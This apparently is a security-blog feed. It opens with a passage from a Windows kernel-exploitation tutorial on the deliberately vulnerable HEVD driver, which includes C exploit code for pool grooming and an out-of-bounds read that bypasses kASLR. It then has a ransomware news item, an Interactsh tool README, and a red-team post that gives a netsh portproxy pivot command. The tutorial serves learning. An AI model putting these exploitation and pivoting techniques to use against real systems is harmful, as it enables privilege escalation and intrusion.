Why does this matter? For the purposes of exploitation in part 2, there will be a pool overflow at some point during exploitation. Since we know that pool chunks are prefaced with a header, and because we know that an invalid header will cause a crash, we need to be mindful of this. Using our overflow, we will need to make sure that a valid header is present during exploitation. Since our exploit will be targeting the kLFH, which still uses the standard _POOL_HEADER structure with no encoding, this will prove to be rather trivial later. _HEAP_VS_CHUNK_HEADER, however, performs additional encoding on its members.

The “last piece of this puzzle” is to understand how we can force the system to allocate pool chunks via the kLFH segment. The kLFH services requests that range in size from 1 byte to 16,368 bytes. The kLFH segment is also managed by the _HEAP_LFH_CONTEXT structure, which can be dumped in WinDbg.

The kLFH has “buckets” for each allocation size. The tl;dr here is if you want to trigger the kLFH you need to make 16 consecutive requests to the same size bucket. There are 129 buckets, and each bucket has a “granularity”. Let’s look at a chart to see the determining factors in where an allocation resides in the kLFH, based on size, which was taken from the previously mentioned paper from Corentin and Paul.

This means that any allocation that is a 16 byte granularity (e.g. 1-16 bytes, 17-31 bytes, etc.) up until a 64 byte granularity are placed into buckets 1-64, starting with bucket 1 for allocations of 1-16 bytes, bucket 2 for 17-31 bytes, and so on, up until a 512 byte granularity. Anything larger is either serviced by the VS segment or other various components of the segment heap.

Let’s say we perform a pool spray of objects which are 0x40 bytes and we do this 100 times. We can expect that most of these allocations will get stored in the kLFH, due to the heuristics of 16 consecutive allocations and because the size matches one of the buckets provided by kLFH. This is very useful for exploitation, as it means there is a good chance we can groom the pool with relatively well. Grooming refers to the fact we can get a lot of pool chunks, which we control, lined up adjacently next to each other in order to make exploitation reliable. For example, if we can groom the pool with objects we control, one after the other, we can ensure that a pool overflow will overflow data which we control, leading to exploitation. We will touch a lot more on this in the future.

kLFH also uses these predetermined buckets to manage chunks. This also removes something known as coalescing, which is when the pool manager combines multiple free chunks into a bigger chunk for performance. Now, with the kLFH, because of the architecture, we know that if we free an object in the kLFH, we can expect that the free will remain until it is used again in an allocation for that specific sized chunk! For example, if we are working in bucket 1, which can hold anything from 1 byte to 1008 bytes, and we allocate two objects of the size 1008 bytes and then we free these objects, the pool manager will not combine these slots because that would result in a free chunk of 2016 bytes, which doesn’t fit into the bucket, which can only hold 1-1008 bytes. This means the kLFH will keep these slots free until the next allocation of this size comes in and uses it. This also will be useful later on.

However, what are the drawbacks to the kLFH? Since the kLFH uses predetermined sizes we need to be very luck to have a driver allocate objects which are of the same size as a vulnerable object which can be overflowed or manipulated. Let’s say we can perform a pool overflow into an adjacent chunk as such, in this expertly crafted Microsoft Paint diagram.

If this overflow is happening in a kLFH bucket on the NonPagedPoolNx, for instance, we know that an overflow from one chunk will overflow into another chunk of the EXACT same size. This is because of the kLFH buckets, which predetermine which sizes are allowed in a bucket, which then determines what sizes adjacent pool chunks are. So, in this situation (and as we will showcase in this blog) the chunk that is adjacent to the vulnerable chunk must be of the same size as the chunk and must be allocated on the same pool type, which in this case is the NonPagedPoolNx. This severely limits the scope of objects we can use for grooming, as we need to find objects, whether they are typedef objects from a driver itself or a native Windows object that can be allocated from user mode, that are the same size as the object we are overflowing. Not only that, but the object must also contain some sort of interesting member, like a function pointer, to make the overflow worthwhile. This means now we need to find objects that are capped at a certain size, allocated in the same pool, and contain something interesting.

The last thing to say before we get into the out-of-bounds read is that some of the elements of this exploit are slightly contrived to outline successful exploitation. I will say, however, I have seen drivers which allocate pool memory, let unauthenticated clients specify the size of the allocation, and then return the contents to user mode - so this isn’t to say that there are not poorly written drivers out there. I do just want to call out, however, this post is more about the underlying concepts of pool exploitation in the age of the segment heap versus some “new” or “novel” way to bypass some of the stipulations of the segment heap. Now, let’s get into exploitation.

From Out-Of-Bounds-Read to kASLR bypass - Low-Integrity Exploitation

Let’s take a look at the file in HEVD called MemoryDisclosureNonPagedPoolNx.c. We will start with the code and eventually move our way into dynamic analysis with WinDbg.

The above snippet of code is a function which is defined as TriggerMemoryDisclosureNonPagedPoolNx. This function has a return type of NTSTATUS. This code invokes ExAllocatePoolWithTag and creates a pool chunk on the NonPagedPoolNx kernel pool of size POOL_BUFFER_SIZE and with the pool tage POOL_TAG. Tracing the value of POOL_BUFFER_SIZE in MemoryDisclosureNonPagedPoolNx.h, which is included in the MemoryDisclosureNonPagedPoolNx.c file, we can see that the pool chunk allocated here is 0x70 bytes in size. POOL_TAG is also included in Common.h as kcaH, which is more humanly readable as Hack.

After the pool chunk is allocated in the NonPagedPoolNx it is filled with 0x41 characters, 0x70 of them to be precise, as seen in the call to RtlFillMemory. There is no vulnerability here yet, as nothing so far is influenced by a client invoking an IOCTL which would reach this routine. Let’s continue down the code to see what happens.

After initializing the buffer to a value of 0x70 0x41 characters, the first defined parameter in TriggerMemoryDisclosureNonPagedPoolNx, which is PVOID UserOutputBuffer, is part of a ProbeForWrite routine to ensure this buffer resides in user mode. Where does UserOutputBuffer come from (besides it’s obvious name)? Let’s view where the function TriggerMemoryDisclosureNonPagedPoolNx is actually invoked from, which is at the end of MemoryDisclosureNonPagedPoolNx.c.

We can see that the first argument passed to TriggerMemoryDisclosureNonPagedPoolNx, which is the function we have been analyzing thus far, is passed an argument called UserOutputBuffer. This variable comes from the I/O Request Packet (IRP) which was passed to the driver and created by a client invoking DeviceIoControl to interact with the driver. More specifically, this comes from the IO_STACK_LOCATION structure, which always accompanies an IRP. This structure contains many members and data used by the IRP to pass information to the driver. In this case, the associated IO_STACK_LOCATION structure contains most of the parameters used by the client in the call to DeviceIoControl. The IRP structure itself contains the UserBuffer parameter, which is actually the output buffer supplied by a client using DeviceIoControl. This means that this buffer will be bubbled back up to user mode, or any client for that matter, which sends an IOCTL code that reaches this routine. I know this seems like a mouthful right now, but I will give the “tl;dr” here in a second.

Essentially what happens here is a user-mode client can specify a size and a buffer, which will get used in the call to TriggerMemoryDisclosureNonPagedPoolNx. Let’s then take a quick look back at the image from two images ago, which has again been displayed below for brevity.

Skipping over the #ifdef SECURE directive, which is obviously what a “secure” driver should use, we can see that if the allocation of the pool chunk we previously mentioned, which is of size POOL_BUFFER_SIZE, or 0x70 bytes, is successful - the contents of the pool chunk are written to the UserOutputBuffer variable, which will be returned to the client invoking DeviceIoControl, and the amount of data copied to this buffer is actually decided by the client via the nOutBufferSize parameter.

What is the issue here? ExAllocatePoolWithTag will allocate a pool chunk based on the size provided here by the client. The issue is that the developer of this driver is not just copying the output to the UserOutputBuffer parameter but that the call to RtlCopyMemory allows the client to decide the amount of bytes written to the UserOutputBuffer parameter. This isn’t an issue of a buffer overflow on the UserOutputBuffer part, as we fully control this buffer via our call to DeviceIoControl, and can make it a large buffer to avoid it being overflowed. The issue is the second and third parameter.

The pool chunk allocated in this case is 0x70 bytes. If we look at the #ifdef SECURE directive, we can see that the KernelBuffer created by the call to ExAllocatePoolWithTag is copied to the UserOutputBuffer parameter and NOTHING MORE, as defined by the POOL_BUFFER_SIZE parameter. Since the allocation created is only POOL_BUFFER_SIZE, we should only allow the copy operation to copy this many bytes.

If a size greater than 0x70, or POOL_BUFFER_SIZE, is provided to the RtlCopyMemory function, then the adjacent pool chunk right after the KernelBuffer pool chunk would also be copied to the UserOutputBuffer. The below diagram outlines.

If the size of the copy operation is greater than the allocation size of0x70 bytes, the number of bytes after 0x70 are taken from the adjacent chunk and are also bubbled back up to user mode. In the case of supplying a value of 0x100 in the size parameter, which is controllable by the caller, the 0x70 bytes from the allocation would be copied back into user and the next 0x30 bytes from the adjacent chunk would also be copied back into user mode. Let’s verify this in WinDbg.

For brevity sake, the routine to reach this code is via the IOCTL 0x0022204f. Here is the code we are going to send to the driver.

We can start by setting a breakpoint on HEVD!TriggerMemoryDisclosureNonPagedPoolNx

Per the __fastcall calling convention the two arguments passed to TriggerMemoryDisclosureNonPagedPoolNx will be in RCX (the UserOutputBuffer) parameter and RDX (the size specified by us). Dumping the RCX register, we can see the 70 bytes that will hold the allocation.

We can then set a breakpoint on the call to nt!ExAllocatePoolWithTag.


After executing the call, we can then inspect the return value in RAX.

Interesting! We know the IOCTL code in this case allocated a pool chunk of 0x70 bytes, but every allocation in the pool our chunk resides in, which is denoted with the asterisk above, is actually 0x80 bytes. Remember - each chunk in the kLFH is prefaced with a _POOL_HEADER structure. We can validate this below by ensuring the offset to the PoolTag member of _POOL_HEADER is successful.

The total size of this pool chunk with the header is 0x80 bytes. Recall earlier when we spoke about the kLFH that this size allocation would fall within the kLFH! We know the next thing the code will do in this situation is to copy 0x41 values into the newly allocated chunk. Let’s set a breakpoint on HEVD!memset, which is actually just what the RtlFillMemory macro defaults to.

Inspecting the return value, we can see the buffer was initialized to 0x41 values.

The next action, as we can recall, is the copying of the data from the newly allocated chunk to user mode. Setting a breakpoint on the HEVD!memcpy call, which is the actual function the macro RtlCopyMemory will call, we can inspect RCX, RDX, and R8, which will be the destination, source, and size respectively.

Notice the value in RCX, which is a user-mode address (and the address of our output buffer supplied by DeviceIoControl), is different than the original value shown. This is simply because I had to re-run the POC trigger between the original screenshot and the current. Other than that, nothing else has changed.

After stepping through the memcpy call we can clearly see the contents of the pool chunk are returned to user mode.

Perfect! This is expected behavior by the driver. However, let’s try increasing the size of the output buffer and see what happens, per our hypothesis on this vulnerability. This time, let’s set the output buffer to 0x100.

This time, let’s just inspect the memcpy call.

Take note of the above highlighted content after the 0x41 values.

Let’s now check out the pool chunks in this pool and view the adjacent chunk to our Hack pool chunk.

Last time we performed the IOCTL invocation only values of 0x41 were bubbled back up to user mode. However, recall this time we specified a value of 0x100. This means this time we should also be returning the next 0x30 bytes after the Hack pool chunk back to user mode. Taking a look at the previous image, which shows that the direct next chunk after the Hack chunk is 0xffffe48f4254fb00, which contains a value of 6c54655302081b00 and so on, which is the _POOL_HEADER for the next chunk, as seen below.

These 0x10 bytes, plus the next 0x20 bytes should be returned to us in user mode, as we specified we want to go beyond the bounds of the pool chunk, hence an “out-of-bounds read”. Executing the POC, we can see this is the case!

Awesome! We can see, minus some of the endianness madness that is occurring, we have successfully read memory from the adjacent chunk! This is very useful, but remember what our goal is - we want to bypass kASLR. This means we need to leak some sort of pointer either from the driver or ntoskrnl.exe itself. How can we achieve this if all we can leak is the next adjacent pool chunk? To do this, we need to perform some additional steps to ensure that, while we are in the kLFH segment, that the adjacent chunk(s) always contain some sort of useful pointer that can be leaked by us. This process is called “pool grooming”

Taking The Dog To The Groomer

Up until this point we know we can read data from adjacent pool chunks, but as of now there isn’t really anything interesting next to these chunks. So, how do we combat this? Let’s talk about a few assumptions here:

  1. We know that if we can choose an object to read from, this object will need to be 0x70 bytes in size (0x80 when you include the _POOL_HEADER)
  2. This object needs to be allocated on the NonPagedPoolNx directly after the chunk allocated by HEVD in MemoryDisclosureNonPagedPoolNx
  3. This object needs to contain some sort of useful pointer

How can we go about doing this? Let’s sort of visualize what the kLFH does in order to service requests of 0x70 bytes (technically 0x80 with the header). Please note that the following diagram is for visual purposes only.

As we can see, there are several free slots within this specific page in the pool. If we allocated an object of size 0x80 (technically 0x70, where the _POOL_HEADER is dynamically created) we have no way to know, or no way to force the allocation to occur at a predictable location. That said, the kLFH may not even be enabled at all, due to the heuristic requirement of 16 consecutive allocations to the same size. Where does this leave us? Well, what we can do is to first make sure the kLFH is enabled and then also to “fill” all of the “holes”, or freed allocations currently, with a set of objects. This will force the memory manager to allocate a new page entirely to service new allocations. This process of the memory manager allocating a new page for future allocations within the the kLFH bucket is ideal, as it gives us a “clean slate” to start on without random free chunks that could be serviced at random intervals. We want to do this before we invoke the IOCTL which triggers the TriggerMemoryDisclosureNonPagedPoolNx function in MemoryDisclosureNonPagedPoolNx.c. This is because we want the allocation for the vulnerable pool chunk, which will be the same size as the objects we use for “spraying” the pool to fill the holes, to end up in the same page as the sprayed objects we have control over. This will allow us to groom the pool and make sure that we can read from a chunk that contains some useful information.

Let’s recall the previous image which shows where the vulnerable pool chunk ends up currently.

Organically, without any grooming/spraying, we can see that there are several other types of objects in this page. Notably we can see several Even tags. This tag is actually a tag used for an object created with a call to CreateEvent, a Windows API, which can actually be invoked from user mode. The prototype can be seen below.

This function returns a handle to the object, which is a technically a pool chunk in kernel mode. This is reminiscent of when we obtain a handle to the driver for the call to CreateFile. The handle is an intermediary object that we can interact with from user mode, which has a kernel mode component.

Let’s update the code to leverage CreateEventA to spray an arbitrary amount of objects, 5000.

After executing the newly updated code and after setting a breakpoint on the copy location, with the vulnerable pool chunk, take a look at the state of the page which contains the pool chunk.

This isn’t in an ideal state yet, but notice how we have influenced the page’s layout. We can see now that there are many free objects and a few event objects. This is reminiscent behavior of us getting a new page for our vulnerable chunk to go, as our vulnerable chunk is prefaces with several event objects, with our vulnerable chunk being allocated directly after. We can also perform additional analysis by inspecting the previous page (recall that for our purposes on this 64-bit Windows 10 install a page is 0x1000 bytes, of 4KB).

It seems as though all of the previous chunks that were free have been filled with event objects!

Notice, though, that the pool layout is not perfect. This is due to other components of the kernel also leveraging the kLFH bucket for 0x70 byte allocations (0x80 with the _POOL_HEADER).

Now that we know we can influence the behavior of the pool from spraying, the goal now is to now allocate the entire new page with event objects and then free every other object in the page we control in the new page. This will allow us to then, right after freeing every other object, to create another object of the same size as the event object(s) we just freed. By doing this, the kLFH, due to optimization, will fill the free slots with the new objects we allocate. This is because the current page is the only page that should have free slots available in the NonPagedPoolNx for allocations that are being serviced by the kLFH for size 0x70 (0x80 including the header).

We would like the pool layout to look like this (for the time being):


So what kind of object would we like to place in the “holes” we want to poke? This object is the one we want to leak back to user mode, so it should contain either valuable kernel information or a function pointer. This is the hardest/most tedious part of pool corruption, is finding something that is not only the size needed, but also contains valuable information. This especially bodes true if you cannot use a generic Windows object and need to use a structure that is specific to a driver.

In any event, this next part is a bit “simplified”. It will take a bit of reverse engineering/debugging to calls that allocate pool chunks for objects to find a suitable candidate. The way to approach this, at least in my opinion, would be as follows:

  1. Identify calls to ExAllocatePoolWithTag, or similar APIs
  2. Narrow this list down by finding calls to the aforementioned API(s) that are allocated within the pool you are able to corrupt (e.g. if I have a vulnerability on the NonPagedPoolNx, find an allocation on the NonPagedPoolNx)
  3. Narrow this list further by finding calls that perform the before sentiments, but for the given size pool chunk you need
  4. If you have made it this far, narrow this down further by finding an object with all of the before attributes and with an interesting member, such as a function pointer

However, slightly easier because we can use the source code, let’s find a suitable object within HEVD. In HEVD there is an object which contains a function pointer, called USE_AFTER_FREE_NON_PAGED_POOL_NX. It is constructed as such, within UseAfterFreeNonPagedPoolNx.h

This structure is used in a function call within UseAfterFreeNonPagedPoolNx.c and the Buffer member is initialized with 0x41 characters.

The Callback member, which is of type FunctionCallback and is defined as such in Common.h: typedef void (*FunctionPointer)(void);, is set to the memory address of UaFObjectCallbackNonPagedPoolNx, which a function located in UseAfterFreeNonPagedPoolNx.c shown two images ago! This means a member of this structure will contain a function pointer within HEVD, a kernel mode address. We know by the name that this object will be allocated on the NonPagedPoolNx, but you could still validate this by performing static analysis on the call to ExAllocatePoolWithTag to see what value is specified for POOL_TYPE.

This seems like a perfect candidate! The goal will be to leak this structure back to user mode with the out-of-bounds read vulnerability! The only factor that remains is size - we need to make sure this object is also 0x70 bytes in size, so it lands within the same pool page we control.

Let’s test this in WinDbg. In order to reach the AllocateUaFObjectNonPagedPoolNx function we need to interact with the IOCTL handler for this particular routine, which is defined in NonPagedPoolNx.c.

The IOCTL code needed to reach this routine, for brevity, is 0x00222053. Let’s set a breakpoint on HEVD!AllocateUaFObjectNonPagedPoolNx in WinDbg, issue a DeviceIoControl call to this IOCTL without any buffers, and see what size is being used in the call to ExAllocatePoolWithTag to allocate this object.

Perfect! Slightly contrived, but nonetheless true, the object being created here is also 0x70 bytes (without the _POOL_HEADER structure) - meaning this object should be allocated adjacent to any free slots within the page our event objects live! Let’s update our POC to perform the following:

  1. Free every other event object
  2. Replace every other event object (5000/2 = 2500) with a USE_AFTER_FREE_NON_PAGED_POOL_NX object

Using the memcpy routine (RtlCopyMemory) from the original routine for the out-of-bounds read IOCTL invocation into the vulnerable pool chunk, we can inspect the target pool chunk used in the copy operation, which will be the chunk bubbled back up to user mode, which could showcase that our event objects are now adjacent to multiple USE_AFTER_FREE_NON_PAGED_POOL_NX objects.

We can see that the Hack tagged chunks, which are USE_AFTER_FREE_NON_PAGED_POOL_NX chunks, are pretty much adjacent with the event objects! Even if not every object is perfectly adjacent to the previous event object, this is not a worry to us because the vulnerability allows us to specify how much of the data from the adjacent chunks we would like to return to user mode anyways. This means we could specify an arbitrary amount, such as 0x1000, and that is how many bytes would be returned from the adjacent chunks.

Since there are many chunks which are adjacent, it will result in an information leak. The reason for this is because the kLFH has a bit of “funkiness” going on. This isn’t necessarily due to any sort of kLFH “randomization”, I found out after talking with my colleague Yarden Shafir, where the free chunks will be/where the allocations will occur, but due to the complexity of the subsegment locations, caching, etc. Things can get complex quite quickly. This is beyond the scope of this blog post.

The only time this becomes an issue, however, is when clients can read out-of-bounds but cannot specify how many bytes out-of-bounds they can read. This would result in exploits needing to run a few times in order to leak a valid kernel address, until the chunks become adjacent. However, someone who is better at pool grooming than myself could easily figure this out I am sure :).

Now that we can groom the pool decently enough, the next step is to replace the rest of the event objects with vulnerable objects from the out-of-bounds read vulnerability! The desired layout of the pool will be this:


Why do we want this to be the desired layout? Each of the VULNERABLE_OBJECTS can read additional data from adjacent chunks. Since (theoretically) the next adjacent chunk should be USE_AFTER_FREE_NON_PAGED_POOL_NX, we should be returning this entire chunk to user mode. Since this structure contains a function pointer in HEVD, we can then bypass kASLR by leaking a pointer from HEVD! To do this, we will need to perform the following steps:

  1. Free the rest of the event objects
  2. Perform a number of calls to the IOCTL handler for allocating vulnerable chunks

For step two, we don’t want to perform 2500 DeviceIoControl calls, as there is potential for the one of the last memory address in the page to be set to one of our vulnerable objects. If we specify we want to read 0x1000 bytes, and if our vulnerable object is at the end of the last valid page for the pool, it will try reading from the address 0x1000 bytes away, which may reside in a page which is not currently committed to memory, causing a DOS by referencing invalid memory. To compensate for this, we only want to allocate 100 vulnerable objects, as one of them will almost surely be allocated in an adjacent block to a USE_AFTER_FREE_NON_PAGED_POOL_NX object.

To do this, let’s update the code as follows.

After freeing the event objects and reading back data from adjacent chunks, a for loop is instituted to parse the output for anything that is sign extended (a kernel-mode address). Since the output buffer will be returned in an unsigned long long array, the size of a 64-bit address, and since the address we want to leak from is the first member of the adjacent chunk, after the leaked _POOL_HEADER, it should be placed into a clean 64-bit variable, and therefore easily parsed. Once we have leaked the address of the pointer to the function, we then can calculate the distance from the function to the base of HEVD, add the distance, and then obtain the base of HEVD!

Executing the final exploit, leveraging the same breakpoint on final HEVD!memcpy call (remember, we are executing 100 calls to the final DeviceIoControl routine, which invokes the RtlCopyMemory routine, meaning we need to step through 99 times to hit the final copy back into user mode), we can see the layout of the pool.

The above image is a bit difficult to decipher, given that both the vulnerable chunks and the USE_AFTER_FREE_NON_PAGED_POOL_NX chunks both have Hack tags. However, if we take the adjacent chunk to the current chunk, which is a vulnerable chunk we can read past and denoted by an asterisk, and after parsing it as a USE_AFTER_FREE_NON_PAGED_POOL_NX object, we can see clearly that this object is of the correct type and contains a function pointer within HEVD!

We can then subtract the distance from this function pointer to the base of HEVD, and update our code accordingly. We can see the distance is 0x880cc, so adding this to the code is trivial.

After performing the calculation, we can see we have bypassed kASLR, from low integrity, without any calls to EnumDeviceDrivers or similar APIs!

The final code can be seen below.

// HackSysExtreme Vulnerable Driver: Pool Overflow/Memory Disclosure
// Author: Connor McGarr(@33y0re)

// Vulnerability description: Arbitrary read primitive
// User-mode clients have the ability to control the size of an allocated pool chunk on the NonPagedPoolNx
// This pool chunk is 0x80 bytes (including the header)
// There is an object, a UafObject created by HEVD, that is 0x80 bytes in size (including the header) and contains a function pointer that is to be read -- this must be used due to the kLFH, which is only groomable for sizes in the same bucket
// CreateEventA can be used to allocate 0x80 byte objects, including the size of the header, which can also be used for grooming

#include <windows.h>
#include <stdio.h>

// Fill the holes in the NonPagedPoolNx of 0x80 bytes
void memLeak(HANDLE driverHandle)
	// Array to manage handles opened by CreateEventA
	HANDLE eventObjects[5000];

	// Spray 5000 objects to fill the new page
	for (int i = 0; i <= 5000; i++)
		// Create the objects
		HANDLE tempHandle = CreateEventA(

		// Assign the handles to the array
		eventObjects[i] = tempHandle;

	// Check to see if the first handle is a valid handle
	if (eventObjects[0] == NULL)
		printf("[-] Error! Unable to spray CreateEventA objects! Error: 0x%lx\n", GetLastError());
		printf("[+] Sprayed CreateEventA objects to fill holes of size 0x80!\n");

		// Close half of the handles
		for (int i = 0; i <= 5000; i += 2)
			BOOL tempHandle1 = CloseHandle(

			eventObjects[i] = NULL;

			// Error handling
			if (!tempHandle1)
				printf("[-] Error! Unable to free the CreateEventA objects! Error: 0x%lx\n", GetLastError());

		printf("[+] Poked holes in the new pool page!\n");

		// Allocate UaF Objects in place of the poked holes by just invoking the IOCTL, which will call ExAllocatePoolWithTag for a UAF object
		// kLFH should automatically fill the freed holes with the UAF objects
		DWORD bytesReturned;

		for (int i = 0; i < 2500; i++)

		printf("[+] Allocated objects containing a pointer to HEVD in place of the freed CreateEventA objects!\n");

		// Close the rest of the event objects
		for (int i = 1; i <= 5000; i += 2)
			BOOL tempHandle2 = CloseHandle(

			eventObjects[i] = NULL;

			// Error handling
			if (!tempHandle2)
				printf("[-] Error! Unable to free the rest of the CreateEventA objects! Error: 0x%lx\n", GetLastError());

		// Array to store the buffer (output buffer for DeviceIoControl) and the base address
		unsigned long long outputBuffer[100];
		unsigned long long hevdBase;

		// Everything is now, theoretically, [FREE, UAFOBJ, FREE, UAFOBJ, FREE, UAFOBJ], barring any more randomization from the kLFH
		// Fill some of the holes, but not all, with vulnerable chunks that can read out-of-bounds (we don't want to fill up all the way to avoid reading from a page that isn't mapped)

		for (int i = 0; i <= 100; i++)
			// Return buffer
			DWORD bytesReturned1;



		printf("[+] Successfully triggered the out-of-bounds read!\n");

		// Parse the output
		for (int i = 0; i <= 100; i++)
			// Kernel mode address?
			if ((outputBuffer[i] & 0xfffff00000000000) == 0xfffff00000000000)
				printf("[+] Address of function pointer in HEVD.sys: 0x%llx\n", outputBuffer[i]);
				printf("[+] Base address of HEVD.sys: 0x%llx\n", outputBuffer[i] - 0x880CC);

				// Store the variable for future usage
				hevdBase = outputBuffer[i] + 0x880CC;

void main(void)
	// Open a handle to the driver
	printf("[+] Obtaining handle to HEVD.sys...\n");

	HANDLE drvHandle = CreateFileA(

	// Error handling
	if (drvHandle == (HANDLE)-1)
		printf("[-] Error! Unable to open a handle to the driver. Error: 0x%lx\n", GetLastError());


Kernel exploits from browsers, which are sandboxed, require such leaks to perform successful escalation of privileges. In part two of this series we will combine this bug with HEVD’s pool overflow vulnerability to achieve a read/write primitive and perform successful EoP! Please feel free to reach out with comments, questions, or corrections!

Peace, love, and positivity :-)

Before yesterdayMain stream

Avaddon ransomware gang shuts down their operations and releases decryption keys

11 June 2021 at 22:12

The Avaddon ransomware gang has shut down its operations and released the decryption keys to allow victims to recover their files for free.

Good news for the victims of the Avaddon ransomware gang, the cybercrime group has shut down its operations and provided the decryption keys to BleepingComputer website.

The group has also shut down its servers and deleted profiles on hacking forums, they also shut down their leak site.

This morning, BleepingComputer received a message from a source that was pretending to be the FBI that included a password and a link to a password-protected ZIP archive.

BleepingComputer shared the decryption keys with the security firm Emsisoft, which has released in the past free decryptors for multiple pieces of ransomware.

PSA: Avaddon appears to have shut down and released 2934 private keys of victims. A public Emsisoft decryption tool is coming soon. Do not pay. If you are a victim and want to know if your files can be decrypted, please reach out to [email protected] Thanks.

— Fabian Wosar (@fwosar) June 11, 2021

The security company already develop a free decryptor for the victims of the Avaddon ransomware.

“The Avaddon ransomware encrypts victim’s files using AES-256 and RSA-2048, and appends a random extension.” states Emsisoft.

We've just released a decryptor for #Avaddon #ransomware.

— Emsisoft (@emsisoft) June 11, 2021

The decryptor allows the victims of the Avaddon ransomware to decrypt their files for free. The ransomware gang was active since June 2020, it was delivering its threat via malspam campaigns.

In the aftermath of the closing of the operation of Darkside gang, the Avaddon gang made the headlines by targeting multiple organizations in collaboration with the Conti gang.

“Furthermore, ransomware negotiation firms and incident responders saw a mad rush by Avaddon over the past few days to finalize ransom payments from existing unpaid victims Coveware CEO Bill Siegel has told BleepingComputer that Avaddon’s average ransom demand was around $600k.” reported BleepingComputer. “However, over the past few days, Avaddon has been pressuring victims to pay and accepting the last counteroffer without any push back, which Siegel states is abnormal.”

In May, the Federal Bureau of Investigation (FBI) and the Australian Cyber Security Centre (ACSC) warned of an ongoing Avaddon ransomware campaign targeting organizations worldwide in multiple industries, including government, finance, energy, manufacturing, and healthcare.

The alert published by the ACSC provides a list of countries under attack which includes the US, UK, Germany, France, China, Italy Brazil, India, UAE, France, and Spain.

Avaddon targets list

“The Australian Cyber Security Centre (ACSC) is aware an ongoing ransomware campaign utilising the Avaddon Ransomware malware. This campaign is actively targeting Australian organisations in a variety of sectors.” reads the alert published by ACSC. “The ACSC is aware of several instances where the Avaddon ransomware has directly impacted organisations within Australia.”

This advisory includes details about Techniques, Tools, and Procedures (TTPs) associated with the Avaddon group.

Experts speculate that the group was not completely retired, instead they are rebranding their operations.

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, ransomware)

The post Avaddon ransomware gang shuts down their operations and releases decryption keys appeared first on Security Affairs.

KillBit legacy – in search for ActiveX Lolbins

11 June 2021 at 22:07
By: adam
ActiveX is dead. Unless used outside of the browser, locally, lolbin-ically. Back in a day companies loved to implement extra functionality for the web via their own ActiveX controls and […]

Interactsh - An OOB Interaction Gathering Server And Client Library

11 June 2021 at 21:30
By: Zion3R

Interactsh is an Open-Source Solution for Out of band Data Extraction, A tool designed to detect bugs that cause external interactions, For example - Blind SQLi, Blind CMDi, SSRF, etc.

  • DNS/HTTP/SMTP Interaction support
  • CLI Client / Web Dashboard support
  • AES encryption with zero logging
  • Automatic ACME based Wildcard TLS w/ Auto Renewal
  • SELF Hosting version support

A hosted instance of the service with WEB UI is available at

Note: As hosted version doesn't store anything locally, restarting server for maintenance / unexpected server crash / updates will result into loss of previous data.

Installing Interactsh Client

Interactsh Client requires go1.15+ to install successfully. Run the following command to get the repo -

▶ GO111MODULE=on go get -v

interactsh-client -h

This will display help for the tool. Here are all the switches it supports.

Flag Description Example
n Number of interactable URLs to generate (default 1) interactsh-client -n 2
persistent Enables persistent interactsh sessions interactsh-client persistent
poll-interval Number of seconds between each poll request (default 5) interactsh-client -poll-interval 1
url URL of the interactsh server (default "hxxps://") interactsh-client -url hxxps://
json Show JSON output interactsh-client -json
o Store interaction logs to file interactsh-client -o logs.txt
v Show verbose interaction interactsh-client -v

Running Interactsh Client

This will generate single URL that can be used for interaction.

▶ interactsh-client

_ __ __ __
(_)___ / /____ _________ ______/ /______/ /_
/ / __ \/ __/ _ \/ ___/ __ '/ ___/ __/ ___/ __ \
/ / / / / /_/ __/ / / /_/ / /__/ /_(__ ) / / /
/_/_/ /_/\__/\___/_/ \__,_/\___/\__/____/_/ /_/ v0.0.1

[INF] Listing 1 URL for OOB Testing

[c23b2la0kl1krjcrdj10cndmnioyyyyyn] Received DNS interaction (A) from at 2021-26-26 12:26
[c23b2la0kl1krjcrdj10cndmnioyyyyyn] Received DNS interaction (AAAA) from at 2021-26-26 12:26
[c23b2la0kl1krjcrdj10cndmnioyyyyyn] Received HTTP interaction from at 2021-26-26 12:26
[c23b2la0kl1krjcrdj10cndmnioyyyyyn] Received DNS interaction (MX) from at 2021-26-26 12:26
[c23b2la0kl1krjcrdj10cndmnioyyyyyn] Received DNS interaction (TXT) from at 2021-26-26 12:2 6
[c23b2la0kl1krjcrdj10cndmnioyyyyyn] Received SMTP interaction from at 2021-26-26 12:26

Sending Interaction to Discord,Slack,Telegram with Notify
▶ interactsh-client | notify

Setting up self-hosted instance
Click here for details
  1. Start with setting up Debian box, Debian is required as you need to setup your own Name servers.

  2. Navigate to{{domain}}/dns/hosts > Advanced Features > Host names, add ns1 and ns2 as hostnames with the IP of your server.

  3. Navigate to{{domain}}/nameservers > Enter my own nameservers (advanced) > Add ns1.{{domain}} and ns2.{{domain}} as name servers.

  4. Installing interactsh-server on your server.

GO111MODULE=on go get -v
  1. Starting interactsh-server, to ensure server is always running in the background, make sure to start the server in the screen session.
interactsh-server -domain {{Domain}} -hostmaster [email protected]{{Domain}} -ip {{Server_IP}}
interactsh-server -domain -hostmaster [email protected] -ip XX.XX.XX.XX

Server setup should be completed with this, now client can be used to generate your own payloads.

  1. Installing interactsh-client for using interactsh service.
GO111MODULE=on go get -v
  1. Running interactsh-client with self-hosted domain.
interactsh-client -url


Interactsh is inspired from Burp Collaborator.

by the projectdiscovery team.

Don’t use commands, use code: the tale of Netsh & PortProxy

11 June 2021 at 00:00

Dear Fellowlship, today’s homily is a call to an (un)holy crusade: we have to banish the usage of commands in compromised machines and start to embrace coding. Please, take a seat and listen to the story of netsh and PortProxy.

Prayers at the foot of the Altar a.k.a. disclaimer

The intention of this short article is to encourage people to improve their tradecraft. We use netsh here as a mere example to transmit the core idea: we need to move from commands to tasks coded in our implants/tools.


There are tons of ways to tunnel your traffic through a compromised machine. Probably the most common can be dropping an implant that implements a SOCKS4/5 proxy, so you can route your traffic through that computer and run your tools against other network segments previously inaccessible. But in some scenarios we can’t just deploy our socks proxy listening to an arbitrary port and we need to rely on native tools, like the well-known netsh.

Forwarding traffic from one port to another machine is trivial with netsh. For example, if we want to connect to the RDP service exposed by a server (let’s call it C) at and we need to use B ( as pivot, the command line would look like:

netsh interface portproxy add v4tov4 listenport=1337 listenaddress= connectport=3389 connectaddress=

Then we only need to use our favorite RDP client and point it to B ( at port 1337. Easy peachy.

But… how netsh works and what is happening under the hood? Can we implement this functionality by ourselves so we can avoid the use of the well-known netsh?

Shedding light

